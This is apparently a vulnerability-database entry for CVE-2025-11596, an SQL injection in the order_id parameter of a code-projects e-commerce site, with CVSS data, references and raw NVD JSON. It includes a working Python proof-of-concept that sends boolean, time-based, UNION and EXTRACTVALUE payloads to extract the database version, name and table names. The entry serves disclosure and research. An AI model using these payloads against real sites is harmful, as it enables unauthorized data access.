Security Vulnerability Report
中文
CVE-2025-11596 CVSS 7.3 HIGH

CVE-2025-11596

Published: 2025-10-11 10:15:43
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in code-projects E-Commerce Website 1.0. The affected element is an unknown function of the file /pages/delete_order_details.php. Executing manipulation of the argument order_id can lead to sql injection. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:fabian:e-commerce_website:1.0:*:*:*:*:*:*:* - VULNERABLE
code-projects E-Commerce Website 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11596 PoC - SQL Injection in delete_order_details.php # Target: code-projects E-Commerce Website 1.0 # Vulnerable file: /pages/delete_order_details.php # Vulnerable parameter: order_id import requests TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/pages/delete_order_details.php" def exploit_sql_injection(target_url, order_id_payload): """ Exploit SQL injection via order_id parameter in delete_order_details.php """ url = target_url + VULNERABLE_ENDPOINT params = { "order_id": order_id_payload } try: response = requests.get(url, params=params, timeout=10) print(f"[*] Target URL: {response.url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Test 1: Normal request print("=" * 60) print("Test 1: Normal request (baseline)") print("=" * 60) normal_response = exploit_sql_injection(TARGET_URL, "1") # Test 2: Boolean-based blind SQL injection print("\n" + "=" * 60) print("Test 2: Boolean-based blind SQL injection") print("=" * 60) boolean_payload = "1' AND '1'='1" boolean_response_true = exploit_sql_injection(TARGET_URL, boolean_payload) boolean_payload_false = "1' AND '1'='2" boolean_response_false = exploit_sql_injection(TARGET_URL, boolean_payload_false) if normal_response and boolean_response_true and boolean_response_false: if len(boolean_response_true) != len(boolean_response_false): print("[+] Boolean-based blind SQL injection confirmed!") # Test 3: Time-based blind SQL injection print("\n" + "=" * 60) print("Test 3: Time-based blind SQL injection") print("=" * 60) import time time_payload = "1' AND SLEEP(5)-- -" start_time = time.time() time_response = exploit_sql_injection(TARGET_URL, time_payload) elapsed_time = time.time() - start_time if elapsed_time >= 5: print(f"[+] Time-based blind SQL injection confirmed! (Delay: {elapsed_time:.2f}s)") # Test 4: UNION-based SQL injection print("\n" + "=" * 60) print("Test 4: UNION-based SQL injection") print("=" * 60) union_payload = "1' UNION SELECT 1,2,3,4,5-- -" union_response = exploit_sql_injection(TARGET_URL, union_payload) # Test 5: Extract database version print("\n" + "=" * 60) print("Test 5: Extract MySQL version") print("=" * 60) version_payload = "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))-- -" version_response = exploit_sql_injection(TARGET_URL, version_payload) # Test 6: Extract current database name print("\n" + "=" * 60) print("Test 6: Extract current database name") print("=" * 60) db_payload = "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))-- -" db_response = exploit_sql_injection(TARGET_URL, db_payload) # Test 7: Extract table names print("\n" + "=" * 60) print("Test 7: Extract table names") print("=" * 60) tables_payload = "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e))-- -" tables_response = exploit_sql_injection(TARGET_URL, tables_payload) print("\n[*] PoC execution completed.") print("[*] Refer to CVE-2025-11596 for vulnerability details.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11596", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:42.883", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in code-projects E-Commerce Website 1.0. The affected element is an unknown function of the file /pages/delete_order_details.php. Executing manipulation of the argument order_id can lead to sql injection. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:e-commerce_website:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "8DF9909B-C71B-41A0-B872-842A77B5B3EC"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Blowingwinds/cve-report/blob/main/cve5/report.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327917", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327917", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.671764", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/Blowingwinds/cve-report/blob/main/cve5/report.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}